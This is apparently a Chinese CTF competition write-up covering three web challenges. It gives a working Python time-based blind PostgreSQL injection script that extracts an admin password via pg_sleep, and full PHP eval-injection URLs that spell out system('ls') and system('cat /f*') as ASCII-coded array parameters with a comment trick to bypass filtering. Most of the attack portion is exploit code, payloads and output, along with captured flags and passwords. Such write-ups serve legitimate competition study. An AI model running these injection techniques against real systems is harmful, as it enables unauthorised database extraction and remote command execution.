你能登陆成功吗
PostgreSQL盲注
1
2
|
SELECT * FROM users WHERE username='${username}' AND password='${password}'
//flag{eb4aaa7f-1362-4f4c-9f5f-a7202518314b}
|
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
import requests
import time
def timeInjection():
URL = "http://139.129.98.9:30005/"
result = ""
payload = "1'||(case/**/when/**/(coalesce(ascii(substr((select/**/password),{},1)),0)={})/**/then/**/pg_sleep(2)/**/else/**/pg_sleep(0)/**/end)--"
for i in range(1,100):
for j in range(32,128):
tmp_payload = payload.format(i,j)
params = {
'username':"admin",
'password':tmp_payload
}
start_time = time.time()
requests.post(url = URL, data=params)
if time.time() - start_time > 2:
result += chr(j)
print(result)
print(time.time() - start_time)
break
else:
pass
timeInjection()
#密码:Pg5QL1sF4ns1N4T1n9
|
你能登陆成功吗-Revenge
PostgreSQL盲注
1
|
flag{5f2561bb-685e-4b36-927b-89ec76fec285}
|
exp:上面的exp端口改成30007即可
密码:S0rryF0Rm1st4ke111
badhack
本来看到中间这算法,丢给20000s师傅去逆一下写个解密脚本,然后他还没看我就绕过了,抢了个二血,感觉打了个非预期,后来看了Nu1l的wp都是直接写逆算法解的,也不知道是不是非预期。。
注释有提示bond007.php
访问bond007.php
给了源码,第47行可控GET传参cmd
,然后第48行限制要求传入数组,且要求传入42个元素,第108到111行,遍历拼接数组各键值给cmd
,最后eval
执行
一开始尝试传入cmd[0]
到cmd[41]
发现经过算法后,cmd[0~41]
内容不可控
但大于41后的数组内容可控,且本地尝试过程中,发现由于它算法原因,产生了个小trick
1
|
var_dump($input);//结果如下
|
可控数组在$input中排在不可控数组前,我们可以在进行eval时使用多行注释忽略其后部分无用字符
然后一个个传入ascii构造即可
1
2
3
4
5
6
7
8
9
10
11
|
system('ls')/*
http://47.104.191.60:38199/bond007.php?cmd[52]=115&cmd[53]=121&cmd[54]=115&cmd[55]=116&cmd[56]=101&cmd[57]=109&cmd[58]=40&cmd[59]=39&cmd[60]=108&cmd[61]=115&cmd[62]=39&cmd[63]=41&cmd[64]=59&cmd[65]=47&cmd[66]=42&cmd[15]=100&cmd[16]=100&cmd[17]=100&cmd[18]=100&cmd[19]=100&cmd[20]=100&cmd[21]=100&cmd[22]=100&cmd[23]=100&cmd[24]=100&cmd[25]=100&cmd[26]=100&cmd[27]=100&cmd[28]=100&cmd[29]=100&cmd[30]=100&cmd[31]=100&cmd[32]=100&cmd[33]=100&cmd[34]=100&cmd[35]=100&cmd[36]=100&cmd[37]=100&cmd[38]=100&cmd[39]=100&cmd[40]=100&cmd[41]=100
//bond007.php index.php
system('ls /')/*
http://47.104.191.60:38199/bond007.php?cmd[52]=115&cmd[53]=121&cmd[54]=115&cmd[55]=116&cmd[56]=101&cmd[57]=109&cmd[58]=40&cmd[59]=39&cmd[60]=108&cmd[61]=115&cmd[62]=32&cmd[63]=47&cmd[64]=39&cmd[65]=41&cmd[66]=59&cmd[67]=47&cmd[68]=42&cmd[17]=100&cmd[18]=100&cmd[19]=100&cmd[20]=100&cmd[21]=100&cmd[22]=100&cmd[23]=100&cmd[24]=100&cmd[25]=100&cmd[26]=100&cmd[27]=100&cmd[28]=100&cmd[29]=100&cmd[30]=100&cmd[31]=100&cmd[32]=100&cmd[33]=100&cmd[34]=100&cmd[35]=100&cmd[36]=100&cmd[37]=100&cmd[38]=100&cmd[39]=100&cmd[40]=100&cmd[41]=100
//bin boot dev entrypoint.sh etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
system('cat /f*')/*
http://47.104.191.60:38199/bond007.php?cmd[52]=115&cmd[53]=121&cmd[54]=115&cmd[55]=116&cmd[56]=101&cmd[57]=109&cmd[58]=40&cmd[59]=39&cmd[60]=99&cmd[61]=97&cmd[62]=116&cmd[63]=32&cmd[64]=47&cmd[65]=102&cmd[66]=42&cmd[67]=39&cmd[68]=41&cmd[69]=59&cmd[70]=47&cmd[71]=42&cmd[20]=100&cmd[21]=100&cmd[22]=100&cmd[23]=100&cmd[24]=100&cmd[25]=100&cmd[26]=100&cmd[27]=100&cmd[28]=100&cmd[29]=100&cmd[30]=100&cmd[31]=100&cmd[32]=100&cmd[33]=100&cmd[34]=100&cmd[35]=100&cmd[36]=100&cmd[37]=100&cmd[38]=100&cmd[39]=100&cmd[40]=100&cmd[41]=100
//flag{1e6679596f82b91745d7b0f22489f773}
|